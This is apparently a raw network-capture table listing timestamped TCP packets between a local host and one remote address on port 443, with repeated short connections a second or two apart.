Jan 14, 2025 08:25:17.343554974 CET	443	50045	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.343709946 CET	443	50045	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.343780041 CET	50045	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.343863964 CET	50045	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.343880892 CET	443	50045	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.343893051 CET	50045	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.343899012 CET	443	50045	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.457159996 CET	50046	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.457206964 CET	443	50046	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.457290888 CET	50046	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.457467079 CET	50046	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.457514048 CET	443	50046	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.457565069 CET	50046	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.459450006 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.459496021 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:17.459549904 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.459888935 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:17.459897041 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.366941929 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.367077112 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.368360996 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.368367910 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.368629932 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.369807005 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.411338091 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.956337929 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.956567049 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.956634998 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.956679106 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.956698895 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:18.956710100 CET	50047	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:18.956717014 CET	443	50047	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.072350979 CET	50048	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.072401047 CET	443	50048	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.072501898 CET	50048	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.072684050 CET	50048	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.072725058 CET	443	50048	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.072782040 CET	50048	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.074749947 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.074799061 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.074860096 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.075232029 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:19.075243950 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.993002892 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:19.993113041 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.048178911 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.048221111 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.049201965 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.050481081 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.095338106 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.579363108 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.579447985 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.579505920 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.579597950 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.579613924 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.579626083 CET	50049	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.579632044 CET	443	50049	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.695796013 CET	50050	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.695873022 CET	443	50050	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.696044922 CET	50050	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.696044922 CET	50050	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.696392059 CET	443	50050	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.696522951 CET	50050	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.698499918 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.698575020 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:20.698657036 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.698939085 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:20.698955059 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:21.590101004 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:21.590204000 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:21.591425896 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:21.591444016 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:21.591716051 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:21.592906952 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:21.635334015 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.168353081 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.168804884 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.168908119 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.185805082 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.185817003 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.185841084 CET	50051	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.185846090 CET	443	50051	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.300575972 CET	50052	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.300617933 CET	443	50052	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.300724983 CET	50052	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.300806999 CET	50052	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.300833941 CET	443	50052	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.300878048 CET	50052	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.302773952 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.302814007 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:22.302902937 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.303179979 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:22.303188086 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.220448017 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.220526934 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.300896883 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.300921917 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.301887035 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.303576946 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.351341009 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.803659916 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.804133892 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.804235935 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.804316998 CET	50053	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.804332018 CET	443	50053	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.916707993 CET	50054	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.916733980 CET	443	50054	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.916861057 CET	50054	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.916920900 CET	50054	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.917068958 CET	443	50054	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.917146921 CET	50054	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.919452906 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.919511080 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:23.919564009 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.919852018 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:23.919868946 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:24.839600086 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:24.839729071 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:24.841065884 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:24.841073990 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:24.841310024 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:24.842566967 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:24.887325048 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.421318054 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.421688080 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.421765089 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.421842098 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.421858072 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.421870947 CET	50055	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.421876907 CET	443	50055	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.535232067 CET	50056	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.535257101 CET	443	50056	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.535332918 CET	50056	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.535429001 CET	50056	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.535464048 CET	443	50056	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.535515070 CET	50056	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.537623882 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.537657022 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:25.537709951 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.537995100 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:25.538008928 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:26.432717085 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:26.432785034 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:26.434374094 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:26.434385061 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:26.434636116 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:26.435906887 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:26.483330011 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.023602009 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.023924112 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.023989916 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.024107933 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.024125099 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.024138927 CET	50057	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.024144888 CET	443	50057	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.137120008 CET	50058	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.137175083 CET	443	50058	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.137271881 CET	50058	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.137455940 CET	50058	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.137542963 CET	443	50058	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.137607098 CET	50058	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.139776945 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.139815092 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:27.139883041 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.140350103 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:27.140369892 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.044684887 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.044816017 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.049761057 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.049773932 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.050086975 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.051431894 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.095349073 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.634823084 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.635133028 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.635204077 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.635864019 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.635881901 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.635894060 CET	50059	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.635901928 CET	443	50059	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.748105049 CET	50060	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.748161077 CET	443	50060	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.748363972 CET	50060	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.748619080 CET	50060	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.748725891 CET	443	50060	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.748821974 CET	50060	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.754791975 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.754844904 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:28.754950047 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.755573988 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:28.755584955 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:29.646136999 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:29.646269083 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:29.647696972 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:29.647726059 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:29.647977114 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:29.649148941 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:29.691333055 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.236547947 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.236776114 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.236835957 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.236867905 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.236887932 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.236897945 CET	50061	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.236903906 CET	443	50061	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.352437019 CET	50062	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.352482080 CET	443	50062	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.352545023 CET	50062	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.352622032 CET	50062	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.352869034 CET	443	50062	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.352933884 CET	50062	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.362426043 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.362462044 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:30.362533092 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.362993002 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:30.363003969 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.265288115 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.265412092 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.266716957 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.266729116 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.267523050 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.268785000 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.315334082 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.844388008 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.844705105 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.844825029 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.864109993 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.864125967 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.864139080 CET	50063	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.864145041 CET	443	50063	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.976551056 CET	50064	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.976583004 CET	443	50064	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.976717949 CET	50064	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.977075100 CET	50064	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.977154016 CET	443	50064	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.977279902 CET	50064	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.979480028 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.979533911 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:31.979657888 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.980632067 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:31.980668068 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:32.866389990 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:32.866485119 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:32.867799044 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:32.867829084 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:32.868094921 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:32.869407892 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:32.911375999 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.469719887 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.470283985 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.470377922 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.470473051 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.470473051 CET	50065	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.470523119 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.470555067 CET	443	50065	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.583344936 CET	50066	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.583395958 CET	443	50066	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.583466053 CET	50066	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.583538055 CET	50066	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.583631039 CET	443	50066	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.583683968 CET	50066	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.585783958 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.585899115 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:33.586010933 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.586277008 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:33.586312056 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:34.498383045 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:34.498486042 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:34.499779940 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:34.499809980 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:34.500066042 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:34.501306057 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:34.543334007 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.099055052 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.099262953 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.099344015 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.099586964 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.099608898 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.099632978 CET	50067	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.099647045 CET	443	50067	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.212858915 CET	50068	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.212897062 CET	443	50068	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.213057041 CET	50068	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.213268995 CET	50068	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.213306904 CET	443	50068	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.213387012 CET	50068	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.218314886 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.218384981 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:35.218564987 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.219461918 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:35.219494104 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.129055023 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.129137039 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.130347967 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.130353928 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.130644083 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.131762981 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.175328016 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.728080988 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.728313923 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.728368998 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.728415012 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.728420973 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.728457928 CET	50069	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.728462934 CET	443	50069	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.841206074 CET	50070	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.841239929 CET	443	50070	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.841300011 CET	50070	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.841376066 CET	50070	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.841408968 CET	443	50070	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.841456890 CET	50070	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.853399992 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.853434086 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:36.853512049 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.853802919 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:36.853818893 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:37.762082100 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:37.762164116 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:37.763444901 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:37.763453960 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:37.763695955 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:37.764940023 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:37.811326981 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.346791029 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.346893072 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.346949100 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.347012043 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.347026110 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.347043991 CET	50071	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.347049952 CET	443	50071	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.460371971 CET	50072	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.460393906 CET	443	50072	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.460458040 CET	50072	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.460580111 CET	50072	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.460621119 CET	443	50072	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.460665941 CET	50072	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.463002920 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.463032961 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:38.463100910 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:38.463387012 CET	50073	443	192.168.2.7	166.62.27.188
